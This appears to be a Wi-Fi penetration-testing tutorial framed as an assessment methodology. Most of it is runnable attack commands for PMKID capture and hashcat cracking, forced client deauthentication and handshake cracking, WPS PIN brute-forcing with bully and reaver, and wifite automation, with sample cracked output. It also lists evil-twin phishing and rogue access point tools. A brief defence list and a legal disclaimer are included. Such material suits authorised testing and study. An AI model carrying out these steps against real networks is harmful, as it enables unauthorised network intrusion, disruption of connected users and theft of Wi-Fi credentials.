Wireless Security Assessment Methodology

Wireless networks remain one of the most underestimated attack surfaces in modern environments.

In many assessments, the wireless layer becomes the initial foothold, not because of advanced zero-days, but because of weak authentication design, exposed management features, or poor segmentation decisions.

This document outlines a practical approach to testing Wi‑Fi infrastructure safely and methodically, focusing on controlled validation of real-world weaknesses rather than indiscriminate disruption.

Weak authentication design and exposed legacy features frequently lead to rapid compromise.

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Requirements

• Kali Linux / Parrot OS / BlackArch
• Wireless adapter that supports monitor mode and packet injection
• Tools: airmon-ng, airodump-ng, aireplay-ng, aircrack-ng, bully, reaver, hcxdumptool, hcxpcapngtool, hashcat

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Option 1: Credential Material Collection via PMKID (Low Noise Vector)

sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1

Wait ~30 seconds to capture PMKID (no need to deauth anyone).

Convert the capture:

hcxpcapngtool -o hash.hc22000 dump.pcapng

Captured credential material should be validated offline to determine password strength exposure.

hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

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Option 2: Authentication Validation via Handshake Capture

1. Enable monitor mode

sudo airmon-ng check kill
sudo airmon-ng start wlan0

2. Scan for targets

airodump-ng wlan0mon

3. Capture handshake

airodump-ng -c <CH> --bssid <BSSID> -w handshake wlan0mon

4. Force deauthentication

aireplay-ng -0 5 -a <BSSID> -c <ClientMAC> wlan0mon

"Wait for "WPA Handshake" message to confirm capture."

5. Crack the handshake

aircrack-ng handshake.cap -w /usr/share/wordlists/rockyou.txt

Use smarter wordlists from cupp, pyrrate, or custom crunch.

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Option 3: WPS Exposure Assessment

Try this if WPS is enabled. It’s usually faster than handshake cracking.

Bully (faster):

bully wlan0mon -b <BSSID> -c <CH>

Reaver (slower fallback):

reaver -i wlan0mon -b <BSSID> -vv

Successful output gives:

[+] WPS PIN: 12345670
[+] WPA PSK: supersecretwifi123

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Automated Multi-Vector Testing

wifite

• Automates WPS/PMKID/Handshake attacks
• Use with custom rules and timeouts:

  wifite --dict /path/to/wordlist.txt
  

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Defend Against These Attacks

• Disable WPS permanently
• Use WPA3 or WPA2 with 802.11w (PMF enabled)
• Use a secure password (16+ characters, symbols, random)
• Monitor wireless traffic with IDS/IPS tools like Kismet

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Legal Notice

This guide is for educational and authorized penetration testing only. Unauthorized Wi-Fi hacking is illegal and unethical.

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Risk Evaluation Overview

Attack Type	Time	Success Rate
PMKID Attack	1–2 min	High
WPA2 Handshake	3–4 min	Medium–High
WPS Bruteforce	1–5 min	Very High
Wordlist Cracking	Varies	Depends on pass strength

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Advanced Infrastructure Attack Scenarios

• Rogue APs with airgeddon or eaphammer
• Evil twin + captive portal phishing with wifiphisher
• Use hostapd to clone SSIDs and trap clients
• Fake enterprise Wi-Fi with hostapd-wpe
• Crack EAP/MSCHAPv2 creds with asleap

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Lab Ideas

• Set up Wi-Fi attack VMs
• Use Raspberry Pi as a covert hacking station
• Practice using WiFi Pumpkin 3 or Fluxion
• Capture real traffic from multiple clients using hcxdumptool

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Wireless security failures are rarely about advanced exploitation. They are usually about misplaced trust in proximity-based authentication.

“You don’t need to be the fastest. You just need to be near the signal.”